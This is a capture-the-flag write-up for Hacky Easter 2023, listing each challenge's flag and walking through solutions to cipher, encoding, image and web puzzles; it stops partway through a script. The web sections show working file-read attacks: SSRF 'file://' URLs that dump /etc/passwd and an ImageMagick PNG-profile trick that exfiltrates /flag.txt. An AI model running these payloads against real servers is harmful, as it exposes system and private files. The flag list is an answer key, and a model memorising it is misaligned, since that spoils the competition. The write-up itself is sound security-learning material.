Home Hacky Easter 2023
Ctf-event
Cancel

Hacky Easter 2023

The annual Hacky Easter Event from Hacking-Lab

Overview

ChallengeDifficultyPointsCategoryFlag
Level 1
Sanity Checknoob50mische2023{just_A_sanity_chEck}
Level 2
Word Cloudnoob50mische2023{this_is_the_flag!}
Rotationnoob50mische2023{0n3_c4n_r34d_r0t0r_b4ckw4rds}
Birds on a Wirenoob50cryptohe2023{birdwatchingisfun}
Binsnoob50mische2023{s0rting_th3_w4ste}
Level 3
Chemical Codeeasy100mische2023{flagenergyatomcosmos}
Serving Thingseasy100webhe2023{4ls0-53rv3r-c4n-b3-1nj3ct3d!!!}
Cut Offeasy100mische2023{4cr0pa_wh4t?}
Global Egg Deliveryeasy100mische2023{u7ƒ_b0m5s_8rᗱ_n07_8ㅣway5_1gn0rᗱd}
Level 4
Flip Flopmedium200webhe2023{1m4g3-tr4g1cK-aga111n}
Bouncy not in the Castlemedium200web, forensicshe2023{n0_b0uNc}
A Mysterious Parchmenteasy100mische2023{BUTISITACOOLOLDCODEITSUREIS}
Hamstereasy100webhe2023{s1mpl3_h34d3r_t4mp3r1ng}
Lost in (French) Spaceeasy100osinthe2023{davies}
Spy Trickseasy100cryptohe2023{I_like_303_b3tter_but_thats_n0t_pr1me}
Level 5
Thumper's PWN 3medium200pwnhe2023{w3lc0m3_t0_r1ng_3_thump3r}
Ghost in a Shellmedium200forensicshe2023{al1asses-4-fUn-and-pr0fit}
Going Roundmedium200cryptohe2023{fl1p_n_r0t4t3_in_p4irs}
Number's Stationmedium200mische2023{L1stening_to_spy_c0mmunicat1ons}
Igor's Gory Passwordsafeeasy100webhe2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt}
Singulareasy100mische2023{security_first_easy_catch}
Level 6
Crash Bashhard300pwnhe2023{gr34t_b4sh_succ3ss!}
Code Lockedmedium200reversing, webhe2023{w3b4553m81y_15_FUN}
Quiltmedium200mische2023{Qu1lt1ng_is_quit3_relaxing!}
Cats in the Bucketmedium200cloudhe2023{r013_assum3d_succ3ssfuLLy}
Tom's Diarymedium200cryptohe2023{sl4sh3s_m4k3_m3_h4ppy}
Level 7
Custom Keyboardhard300misc, reversinghe2023{leds_light_the_way}
Thumper's PWN 2hard300pwn unsolved
Coney Island Hackers 2medium200webhe2023{fun_w1th_ev1l_ev4l_1n_nyc}
Digital Snake Artmedium200webhe2023{0n3_d03s_n0t_s1mply_s0lv3_th1s_chllng!}
Fruity Ciphermedium200cryptohe2023{hypervitaminosis}
Kaos Motornmedium200mische2023{Th4tSKa0Z!}
Level 8
This One Goes To 11hard300reversing unsolved
Thumper's PWN 1hard300pwn, reversing unsolved
Jasonhard300mische2023{gr3pp1n_d4_js0n_l1k3_4_pr0!}
The Little Rabbithard300cryptohe2023{cr1b_dr4ggin_4_pr0fit!}

Sanity Check

Challenge

This is your first flag!

Right here –> he2023{ }

🚩 Flags are in format he2023{...}, unless noted otherwise. Always check additional information given (uppercase, lowercase, spaces, etc.).

Solution

The inner part of the flag is invisible, but inspecting the source for the empty-looking space gives us the hidden flag:

1
<span style="color: black; background-color: black; opacity: 0;">just_A_sanity_chEck</span>

Flag

he2023{just_A_sanity_chEck}

Word Cloud

Challenge

I like Word Clouds, what about you?

Download the image below (he2023-wordcloud.jpg), sharpen your eyes, and find the right flag.

challenge image

Solution

The wordcloud contains a lot of false flags, but also the correct one, so just read all the words until you find it!

solution image

Flag

he2023{this_is_the_flag!}

Rotation

Challenge

My new rotor messed up the flag!

1
96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN

I tried to decode it, but it didn’t work. The rotor must have been too fast!

Solution

We suspect a rotation cipher because of the cipher, and assuming the given string starts with he2023, this indeed checks out (h and e are 3 apart in the ASCII table, so are 9 and 6). It would appear to be a rotation of 47, though sometimes it is +47, sometimes -47, so we write a short script to find the direction of rotation

1
2
3
4
5
6
7
8
9
10
11
12
13
import string

ct="96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN"
flag = ""

for i in range(0,len(ct)):
  pt = chr ( ord(ct[i])+47 )
  if pt not in string.printable:
     pt = chr ( ord(ct[i])-47 )

  flag += pt

print(flag)

which gives us the flag!

Flag

he2023{0n3_c4n_r34d_r0t0r_b4ckw4rds}

Birds on a Wire

Challenge

Just some birds sitting on a wire.

Download the image and find the flag!

Solution

Some Googling reveals that this is the “Birds on a Wire” cipher

It’s a simple substitution cipher so we just map the birds to their corresponding letters to find the flag!

Flag

he2023{birdwatchingisfun}

Bins

Challenge

The rabbits left a mess in their cage.

1
2
3
4
  //    //                    //
 ('>   ('>    LX2gkn81        ('>
 /rr   /rr       carrots      /rr
*\))_ *\))_                  *\))_

If only I knew which bin to put the rubbish in.

Solution

This one took way too long, we first thought of anything in /bin folder we might use on this, then finally realized we did not get a file to download, are there any “bins” on the website or online? OMG pastebin!

pastebin.com/LX2gkn81

It exists, made just before the event, this is promising ..but it asks us for password, we try “carrots”, and boom, there is our flag!

Flag

he2023{s0rting_th3_w4ste}

Chemical Code

Challenge

Our crazy chemistry professor wrote a secret code on the blackboard:

1
9 57 32 10 111 39 85 8 115 8 16 42 16

He also mumbled something like “essential and elementary knowledge”.

Solution

This sounds like we have to convert atomic numbers to their corresponding sybols to get the flag

We find a python package to help us, PyAstronomyand use it to decode the flag

from PyAstronomy import pyasl

an = pyasl.AtomicNo()
ct =[9,57,32,10,111,39,85,8,115,8,16,42,16]

flag = "".join(an.getElSymbol(ct[i]) for i in range(0,len(ct)))

print(flag)  # outputs FLaGeNeRgYAtOMcOSMoS

Flag

he2023{flagenergyatomcosmos}

Serving Things

Challenge

Get the 🚩 at /flag.

http://ch.hackyeaster.com:2316

Note: The service is restarted every hour at x:00.

Solution

We get a simle website

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>

<html>
<head>
<title>Serving Things</title>
    <link rel="stylesheet"
	    href="/static/app.css">
	<script	src="/static/jquery-3.6.3.min.js" language="javascript"></script>
    <script	src="/static/app.js" language="javascript"></script>
</head>

<body>
	<div id="menu">
        Get: <a id="quotes" href="#">Quotes</a> | <a id="colors" href="#">Colors</a> | <a id="stars" href="#">Stars</a> |
		<a id="cheese" href="#">Cheese</a> | <a id="wine" href="#">Wine</a> | <a id="meals" href="#">Swiss Meals</a> |
		<a id="trek" href="#">The Trek</a> | <a id="flag" href="#">Flag</a>
	</div>
	<div id="text">
	</div>
	<div id="footer">
		<div id="created">
			Created by inik / 2023
		</div>
	</div>
</body>
</html>

with app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function get(url) {
    u = encodeURI(window.location.protocol + "//" + window.location.host + "/get?url=" + url);
    $.get(u, function (data) {
        var color = Math.floor(Math.random() * 16777215).toString(16);
        $("#text").fadeOut(400);
        setTimeout(function () {
            $("#text").html(data);
            $("#text").css("color", "#" + color);
            $("#text").fadeIn(400);
        }, 400);
    });
}

$(document).ready(function () {
    $("#quotes").click(function () {
        get("http://quotes:1337/quote");
    })

    $("#colors").click(function () {
        get("http://colors:1337/color");
    })

    $("#stars").click(function () {
        get("http://stars:1337/star");
    })

    $("#cheese").click(function () {
        get("http://cheese:1337/cheese");
    })

    $("#flag").click(function () {
        get("http://flags:1337/flag");
    })

    $("#wine").click(function () {
        get("http://wine:1337/wine");
    })

    $("#meals").click(function () {
        get("http://meals:1337/meal");
    })

    $("#trek").click(function () {
        get("http://trek:1337/trek");
    })

    $('#quotes').trigger('click');
});

So there are a couple of words you can click on, which get

1
http://ch.hackyeaster.com:2316/get?url=http://flags:1337/flag

returns

1
Thank you hacker! But our flag is in another castle! ~ Bugs Bunny

hmm..

Let’s see what else it will serve us

1
http://ch.hackyeaster.com:2316/get?url=file:///etc/passwd

gives us the /etc/passwd file contents!

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

ok, so now we just need to figure out where our flag file is..

After overthinking for a while, thinking /flag referred to the location on the web and trying to find the web server config, we realize its just literally at /flag on the file system, and get our flag by going to http://ch.hackyeaster.com:2316/get?url=file:///flag, whoo!

Flag

he2023{4ls0-53rv3r-c4n-b3-1nj3ct3d!!!}

Cut Off

Challenge

I had a secret Easter egg on my screenshot, but I cropped it, hehe!

Kudos to former Hacky Easter winner Retr0id - he’s one of the researches who found the vulnerability in question!

Solution

This sounds like the recen aCROPalypse vulnerability.

We use acropalypse.app to recover the cropped part of the image.

We try some phone models until we have success with the “Google Pixel 6” setting

we than scan the QR code to get the flag

1
2
3
4
$ zbarimg screenshot-recovered.png
QR-Code:he2023{4cr0pa_wh4t?}
scanned 1 barcode symbols from 1 images in 0.24 seconds

Flag

he2023{4cr0pa_wh4t?}

Global Egg Delivery

Challenge

Thumper has taken great strides with the digitization of the business of distributing eggs and assorted goodies. Globalizing such a service is not without its pains and requires the additional effort to account for local customs.

Now Thumper has his message all prepared, fed through a block-chain enabled, micro-service driven, AI enhanced, zero trust translation service all that comes back is this…

Can you help Thumper decode the message?

message.txt

Solution

By cating message.txt to the terminal we see:

Looking at the bytes,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat message.txt | od -tx2 -a
0000000    feff    0068    fffe    6500    feff    0032    fffe    3000
        del   ~   h nul   ~ del nul   e del   ~   2 nul   ~ del nul   0
0000020    feff    0032    fffe    3300    feff    007b    fffe    7500
        del   ~   2 nul   ~ del nul   3 del   ~   { nul   ~ del nul   u
0000040    feff    0037    fffe    9201    feff    005f    fffe    6200
        del   ~   7 nul   ~ del soh dc2 del   ~   _ nul   ~ del nul   b
0000060    feff    0030    fffe    6d00    feff    0035    fffe    7300
        del   ~   0 nul   ~ del nul   m del   ~   5 nul   ~ del nul   s
0000100    feff    005f    fffe    3800    feff    0072    fffe    f115
        del   ~   _ nul   ~ del nul   8 del   ~   r nul   ~ del nak   q
0000120    feff    005f    fffe    6e00    feff    0030    fffe    3700
        del   ~   _ nul   ~ del nul   n del   ~   0 nul   ~ del nul   7
0000140    feff    005f    fffe    3800    feff    3163    fffe    7700
        del   ~   _ nul   ~ del nul   8 del   ~   c   1   ~ del nul   w
0000160    feff    0061    fffe    7900    feff    0035    fffe    5f00
        del   ~   a nul   ~ del nul   y del   ~   5 nul   ~ del nul   _
0000200    feff    0031    fffe    6700    feff    006e    fffe    3000
        del   ~   1 nul   ~ del nul   g del   ~   n nul   ~ del nul   0
0000220    feff    0072    fffe    f115    feff    0064    fffe    7d00
        del   ~   r nul   ~ del nak   q del   ~   d nul   ~ del nul   }
0000240

0xfeff and 0xffe are Unicode BOMs. (Namely they should appear ONLY at the start)

The BOM character is, simply, the Unicode codepoint U+FEFF ZERO WIDTH NO-BREAK SPACE, encoded in the current encoding. Traditionally, this codepoint is just a zero-width non-breaking space that inhibits line-breaking between word-glyphs. As such, if the BOM character appears in the middle of a data stream, Unicode says it should be interpreted as a normal codepoint, not as a BOM. Since Unicode 3.2, this usage has been deprecated in favor of U+2060 WORD JOINER.[1] - https://en.wikipedia.org/wiki/Byte_order_mark

So this is ,, incredibly invalid utf16. Fun! We can decode this manually by regexing the above into something like:

1
2
3
4
5
6
7
8
9
10
printf '\xfe\xff\x00\x68\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x65\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x32\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x30\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x32\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x33\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x7b\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x75\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x37\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x92\x01\x00' | iconv -f utf-16 -t utf-8 | uniname

And then seeing the result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
16:55:38|(main) [user@p:~/projects/ctf-writeups-galaxians/HackyEaster_2023]$ bash message.sh 2>/dev/null | grep 0
        0          0  000068   68             h      LATIN SMALL LETTER H
        0          0  000065   65             e      LATIN SMALL LETTER E
        0          0  000032   32             2      DIGIT TWO
        0          0  000030   30             0      DIGIT ZERO
        0          0  000032   32             2      DIGIT TWO
        0          0  000033   33             3      DIGIT THREE
        0          0  00007B   7B             {      LEFT CURLY BRACKET
        0          0  000075   75             u      LATIN SMALL LETTER U
        0          0  000037   37             7      DIGIT SEVEN
        0          0  000192   C6 92          ƒ      LATIN SMALL LETTER F WITH HOOK
        0          0  00005F   5F             _      LOW LINE
        0          0  000062   62             b      LATIN SMALL LETTER B
        0          0  000030   30             0      DIGIT ZERO
        0          0  00006D   6D             m      LATIN SMALL LETTER M
        0          0  000035   35             5      DIGIT FIVE
        0          0  000073   73             s      LATIN SMALL LETTER S
        0          0  00005F   5F             _      LOW LINE
        0          0  000038   38             8      DIGIT EIGHT
        0          0  000072   72             r      LATIN SMALL LETTER R
        0          0  0015F1   E1 97 B1       ᗱ      CANADIAN SYLLABICS CARRIER GE

Pulling out that middle column manually (sorry) we get the flag:

Flag

he2023{u7ƒ_b0m5s_8rᗱ_n07_8ㅣway5_1gn0rᗱd}

Flip Flop

Challenge

This awesome service can flipflop an image!

Flag is located at: /flag.txt

http://ch.hackyeaster.com:2310

Solution

We get a service that will take an image we supply it, and return it to us flipped upside down. The hint says it uses imagemagick to do this.

This looks like an imagemagick vulnerability, and we find a useful article on the topic that we can follow.

So we use pngcrush to generate our image (the test.png input image can be any png image you have lying around)

1
$ pngcrush -text a Profile /flag.txt test.png

This creates an output image in pngout.png, and we can check the metadata is set correctly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ exiftool pngout.png
ExifTool Version Number         : 12.40
File Name                       : pngout.png
Directory                       : .
File Size                       : 2.3 MiB
File Modification Date/Time     : 2023:04:10 19:47:32+02:00

[..]

History When                    : 2023:01:30 11:31:54+01:00
Warning                         : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
Profile                         : /flag.txt
Image Size                      : 2732x1810
Megapixels                      : 4.9

We upload this to our server, and get an image back, pngreturned.png

Frustratingly, exiftool doesn’t show us the Raw profile type metadata tag with the flag in it, but using the exiv2 tool does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ exiv2 -pS pngreturned.png                                                                                                                            [10-04-23 19:59:30]
STRUCTURE OF PNG FILE: pngreturned.png
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | ............                   | 0x6e9bc480
      33 | iCCP  |     371 | icc..(.u..+DQ..?fh.G....%...5. | 0x09d9776f
     416 | cHRM  |      32 | ..z&..............u0...`..:..  | 0x9cba513c
     460 | bKGD  |       6 | ......                         | 0xa0bda793
     478 | pHYs  |       9 | .........                      | 0x952b0e1b
     499 | tIME  |       7 | ...../'                        | 0xf75a837f
     518 | tEXt  |      94 | Raw profile type txt..txt.     | 0x633ed62f
     624 | IDAT  |   32768 | x....w\..'.m{\..... A&.$..n... | 0xadc05540
   33404 | IDAT  |   32768 | ?33Q..~..g.o..B......9g\....Z+ | 0x807f9e28
   66184 | IDAT  |   32768 | ...5595==.8....B.A..N..3 D.l6. | 0x82fb6bd5
   98964 | IDAT  |   32768 | .a..=55}... 0...j,.-b....R.@." | 0x586f7028
  131744 | IDAT  |   32768 | z*.9..Z.s....@))%...,.9.@J. .. | 0x7fd64b40
  164524 | IDAT  |   32768 | ..Z........R.....(......f.`... | 0x73e7d6f7

[..]

opening in a hexeditor helps

1
6865323032337b316d3467332d7472346731634b2d6167613131316e7d

Hey, this looks like plausible hex-encoded ASCII text, let’s decode!

Flag

he2023{1m4g3-tr4g1cK-aga111n}

Bouncy not in the Castle

Challenge

Very bouncy, indeed, but not in a castle.

Try http://ch.hackyeaster.com:2308

Solution

Hmm…

We get to a website where we can look around, we seem to be in a patch of grass in a town, and pastel coloured eggs drop down on us and start bouncing.

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<!DOCTYPE html>
<html lang="en">
<head>
<title>three.js webgl - materials - cube refraction [balls]</title>
<meta charset="utf-8">
<meta name="viewport"
	content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
<link type="text/css" rel="stylesheet" href="main.css">
<script src="background.png.js"></script>
</head>
<body>


	<script type="module">

			import * as THREE from './three.module.js';
            import Stats from './stats.module.js';


			const VSTEP = 20;		// Speed increase per step
			const VDAMP = 0.98;		// Damping because of friction
			const EGGSIZE = 250;	// egg size in pixel

			let container, stats;

			let camera, scene, renderer;

			const eggs = [];

			let mouseX = 0, mouseY = 0;

			let windowHalfX = window.innerWidth / 2;
			let windowHalfY = window.innerHeight / 2;

			document.addEventListener( 'mousemove', onDocumentMouseMove, false );

			// Clock for smooth movement on slower PCs
			const clock = new THREE.Clock();

			init();
			animate();

			function init() {

				// canvas
				container = document.createElement( 'div' );
				document.body.appendChild( container );

				// stats
				stats = new Stats();
				container.appendChild( stats.dom );

				// camera
				camera = new THREE.PerspectiveCamera( 60, window.innerWidth / window.innerHeight, 1, 100000 );
				camera.position.z = 3200;

				// scene
				scene = new THREE.Scene();
				scene.background = new THREE.CubeTextureLoader()
					.setPath( 'textures/cube/' )
					.load( [ 'posx.jpg', 'negx.jpg', 'posy.jpg', 'negy.jpg', 'posz.jpg', 'negz.jpg' ] );

				// geometry (egg)
				// points - (x, y) pairs are rotated around the y-axis
				var points = [];
				var SIZE = 150;
				for ( var deg = 0; deg <= 180; deg += 6 ) {
					var rad = Math.PI * deg / 180;
    				var point = new THREE.Vector2( ( 0.72 + .08 * Math.cos( rad ) ) * Math.sin( rad ) * EGGSIZE, - Math.cos( rad ) * EGGSIZE ); // the "egg equation"
    				//console.log( point ); // x-coord should be greater than zero to avoid degenerate triangles; it is not in this formula.
    				points.push( point );
				}
				const eggGeometry =  new THREE.LatheBufferGeometry( points, 32 );

				// generate all eggs
				for ( let x = 0; x < 21; x ++ ) {
						for ( let z = 0; z < 21; z ++ ) {
						const mesh = new THREE.Mesh( eggGeometry, getRandomMaterial(x, z));

						mesh.position.x = x * 10000 / 21 - 5000;
						mesh.position.y = 5000 + Math.random() * 5000;
						mesh.position.z = z *  10000 / 21 - 5000;
						mesh.userData.vy = 0;

						scene.add(mesh);
						eggs.push( mesh );
					}
				}


				renderer = new THREE.WebGLRenderer();
				renderer.setPixelRatio( window.devicePixelRatio );
				renderer.setSize( window.innerWidth, window.innerHeight );
				container.appendChild( renderer.domElement );

				//

				window.addEventListener( 'resize', onWindowResize, false );

			}

			function getRandomColor(x, z) {
				let pos = (x + z * 21) * 6;
				let val = parseInt(hex.substring(pos, pos + 6), 16);
				console.log("x:" + x + ", z: " + z + ", val: " + val )
				return val;
			}

			function getRandomMaterial(x, z) {
				let material = new THREE.MeshBasicMaterial( {color:  getRandomColor(x, z), envMap: scene.background, refractionRatio: 0.95 } );
	 			material.envMap.mapping = THREE.CubeRefractionMapping;
				return material;
			}

			function onWindowResize() {
				windowHalfX = window.innerWidth / 2;
				windowHalfY = window.innerHeight / 2;
				camera.aspect = window.innerWidth / window.innerHeight;
				camera.updateProjectionMatrix();
				renderer.setSize( window.innerWidth, window.innerHeight );
			}

			function onDocumentMouseMove( event ) {
				mouseX = ( event.clientX - windowHalfX ) * 10;
				mouseY = ( event.clientY - windowHalfY ) * 10;
			}

			//
			function animate() {
				requestAnimationFrame( animate );
				render();
				stats.update();
			}

			function render() {
				const delta = clock.getDelta();
				for ( let i = 0, il = eggs.length; i < il; i ++ ) {
					const egg = eggs[i];
					egg.position.y += egg.userData.vy;
					egg.userData.vy -= delta * VSTEP;

					if (egg.position.y < 0) {
						egg.position.y = - egg.position.y;
						egg.userData.vy = - egg.userData.vy * VDAMP;
					}
				}

				camera.position.x += ( mouseX - camera.position.x ) * .05;
				camera.position.y += ( - mouseY - camera.position.y ) * .05;

				camera.lookAt( scene.position );
				renderer.render( scene, camera );

			}

		</script>

</body>
</html>

and background.png.js:

1
hex="9694fb96c7c186bad7f9b0cbb1da818b84ad84a49df3c6aaeeb5aedccca394e5f4d8a786fd9298a1edfcafcbd9f99aa5a1b3ebbf8ae5ab82a3d49293d08e83f1a1b9b4f9eab3daf6e4a8faf8a7f6cbbff6947fb584c4a69c84efe286f8dcfa9fc2f0a5afca97ef9b9ca7ccedfdb8ca9c95bcd3859ea6f2a2b7a980cd89a1bdeaefa6bda69d91fbf4dbbb85f6b7b6b4ded0989fcbd6dac997fca0d5bae6e0a0a3e384a792f4d3bcb884dbe59ec6acaaa599cf8ebbc28483a79ea681efaf93dcafe4f5f2ea8c97b4d9afdcade3bf8e8ee89e89e789c09d97fb8db6a6d7bd9ffbdd87c599aeb2fba6f5e9a1ccb5c880e5d7deb5b3aacee98bb1daa1e3d19fbbfbf9f8a68384f9c3f6cbfdc1a59fb6a2d4f3d99683f689b59ea0cafe83b7ef8283e2c5e4cdfbd8c096dbbff8b4acceb67f82f3e5fdcc8fc9e1cefcd3a7a883adf0b0929da9b6eef9ee81c580e1e49ab8a9e1edd88ae0dac3a2edb4f3fe86aaf6c5d7bbddc8c0a2c7e9d19dd0b285b1b6aca9809fbdfcbdb7a0edd399ccbdd3a3adafbddfe1fdb2adcab891c9faafc2bcbb9c86eea0e389f8e48e89eaa3a6afeec49295d08ddabb87efc188c17f8fd99ce89bb9f1b793f4ffa2e8f9a0bb9cff8a96f79dceab9fb4a989c093ed9ce38282ffa3c8bb9fc4cacbe5d0dfee81d3bdbba4c9b8d5decb9ff883bab09fe7bcfdfd84b1d6da80de9eafb4b0b4d9d5c9f8a7c0d5977fbdb3c1849fdbf7e29bbeeba1b5ed82bb97b980d5be89e2e88bdd98eb95afde97ebf2a6a69bd1f0b882d380b3a3a6a080978da6f58ad5e7bda5def6f2eae9d7f099b393a8ed96a4d0e592dba3c581e18f82bdfb9a9c99dc9cbfacc1c48daec6df8983b3abfebeb6c5e98587868dbb7f8af89e92cda9b285ead8b0df80afa3f4ad92a6adc4f7e2a49cd782e4d98aaaec968de8feebd5bdaf97f0aea3d7dcff8cd1b5d49af4d9ec9c9a93f3a098adde88839ff0fed3f38c8fef8bb2a6aba8d3e1a0c48aa2a382fc89acc9ee9af2cd8ed5fb90b4d4f5c7bbd0d7bcdf898df1cdc9a496c7c587f1dbc9bebaaf989d8cf980d099d2d7dcffe6f9dba1f4e5e1949bf0c9dba7cbe394ba8384aaa6db998bd2b0d5e6eeb89580aad7d097e7d6c2f87fd9a3a1a593dfe7fef2a98a8bf59aa2e0e1f4c7bbdde4bbae9683e6b2bcc9f6d4a7beeed696d69d94d6fab2e0b0d9cda08fddb68c87fde1eec7d89fe8cfaabbb9a8f2db8dd2ece4a9d0f5af998290b4fba39bf19b85dfb9d7a3bd89b0d3b58ef2a7f3b699b4e7e5b9f7cec283e9bdec8af4f396f7fefe81d5dfcaa9f48cf181e9a2a5819df2afcfb8ab8ecf89c2e788cdaecad4b5ce8daef7d9b091ecd6bf9ab693fcfc90ff83f9c8d28f9bcabcc69bc0a0d0b8fe8482d4bca1fac2af8af8e48da9b4e3a6fa97e6cce4e781c2f4e1abf5e49eabedb18c87c98b9181a982d3c1c482fcca82efe7c0b2c19c8fdce89fe0ad9196c3eebbad8185fab7b981e3ede880ecfec88aa589cec9c7bc8282fbecf8b1889787fef0adfb9fcfdfbd989b8fb2c3e891bea9cdfdcce5b2eddbc99cd2e1eefaf6cab2e1c89186a697abcad98ada94a1b5c0a2e4f291c9eabdaec2cbcce0ade1e7a492c58ae3b0c69baefce988e7ead39abff1cf9ada8dd59d8a9bf1e4b4a0c4dfc9d9f1f0e0be938a88a6cef7e8fcaeb5a9caf4bec5dde184e288dec9bae7998ceae7dfdced95e8d9a9aa8db996e5ce7fa1a6908d9edbc0d2b296fdefa890dbc8dcb0f4be839992dcdafdb3a596cb97e2a5ebf28cc7a4d0a0f8d49cb3a188fabf8ad789efb5f3ac8c839ddea189ea97d9c2a0c991d589bebb9dce9db6e6bbe6e9f2a8c2819fa5e48fe8b587b7e38c9dc6ced4d7d9fdfb81a9c0"

not sure what to do with that..

BouncyCastle is an encryption library ?

But this is a forensics challenge

no clue..

ok, the hex variable in background.png.js is used to generate “random” colours. This it definitely weird, let’s look at that more closely. We see it uses six charachters of this string as a colour value for the eggs, and it accesses them as if it’s a square of 21 by 21 pixels.. Let’s recreate all these colours as an image//

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
import textwrap

hexstring="9694fb96c7c186bad7f9b0cbb1da818b84ad84a49df3c6aaeeb5aedccca394e5f4d8a786fd9298a1edfcafcbd9f99aa5a1b3ebbf8ae5ab82a3d49293d08e83f1a1b9b4f9eab3daf6e4a8faf8a7f6cbbff6947fb584c4a69c84efe286f8dcfa9fc2f0a5afca97ef9b9ca7ccedfdb8ca9c95bcd3859ea6f2a2b7a980cd89a1bdeaefa6bda69d91fbf4dbbb85f6b7b6b4ded0989fcbd6dac997fca0d5bae6e0a0a3e384a792f4d3bcb884dbe59ec6acaaa599cf8ebbc28483a79ea681efaf93dcafe4f5f2ea8c97b4d9afdcade3bf8e8ee89e89e789c09d97fb8db6a6d7bd9ffbdd87c599aeb2fba6f5e9a1ccb5c880e5d7deb5b3aacee98bb1daa1e3d19fbbfbf9f8a68384f9c3f6cbfdc1a59fb6a2d4f3d99683f689b59ea0cafe83b7ef8283e2c5e4cdfbd8c096dbbff8b4acceb67f82f3e5fdcc8fc9e1cefcd3a7a883adf0b0929da9b6eef9ee81c580e1e49ab8a9e1edd88ae0dac3a2edb4f3fe86aaf6c5d7bbddc8c0a2c7e9d19dd0b285b1b6aca9809fbdfcbdb7a0edd399ccbdd3a3adafbddfe1fdb2adcab891c9faafc2bcbb9c86eea0e389f8e48e89eaa3a6afeec49295d08ddabb87efc188c17f8fd99ce89bb9f1b793f4ffa2e8f9a0bb9cff8a96f79dceab9fb4a989c093ed9ce38282ffa3c8bb9fc4cacbe5d0dfee81d3bdbba4c9b8d5decb9ff883bab09fe7bcfdfd84b1d6da80de9eafb4b0b4d9d5c9f8a7c0d5977fbdb3c1849fdbf7e29bbeeba1b5ed82bb97b980d5be89e2e88bdd98eb95afde97ebf2a6a69bd1f0b882d380b3a3a6a080978da6f58ad5e7bda5def6f2eae9d7f099b393a8ed96a4d0e592dba3c581e18f82bdfb9a9c99dc9cbfacc1c48daec6df8983b3abfebeb6c5e98587868dbb7f8af89e92cda9b285ead8b0df80afa3f4ad92a6adc4f7e2a49cd782e4d98aaaec968de8feebd5bdaf97f0aea3d7dcff8cd1b5d49af4d9ec9c9a93f3a098adde88839ff0fed3f38c8fef8bb2a6aba8d3e1a0c48aa2a382fc89acc9ee9af2cd8ed5fb90b4d4f5c7bbd0d7bcdf898df1cdc9a496c7c587f1dbc9bebaaf989d8cf980d099d2d7dcffe6f9dba1f4e5e1949bf0c9dba7cbe394ba8384aaa6db998bd2b0d5e6eeb89580aad7d097e7d6c2f87fd9a3a1a593dfe7fef2a98a8bf59aa2e0e1f4c7bbdde4bbae9683e6b2bcc9f6d4a7beeed696d69d94d6fab2e0b0d9cda08fddb68c87fde1eec7d89fe8cfaabbb9a8f2db8dd2ece4a9d0f5af998290b4fba39bf19b85dfb9d7a3bd89b0d3b58ef2a7f3b699b4e7e5b9f7cec283e9bdec8af4f396f7fefe81d5dfcaa9f48cf181e9a2a5819df2afcfb8ab8ecf89c2e788cdaecad4b5ce8daef7d9b091ecd6bf9ab693fcfc90ff83f9c8d28f9bcabcc69bc0a0d0b8fe8482d4bca1fac2af8af8e48da9b4e3a6fa97e6cce4e781c2f4e1abf5e49eabedb18c87c98b9181a982d3c1c482fcca82efe7c0b2c19c8fdce89fe0ad9196c3eebbad8185fab7b981e3ede880ecfec88aa589cec9c7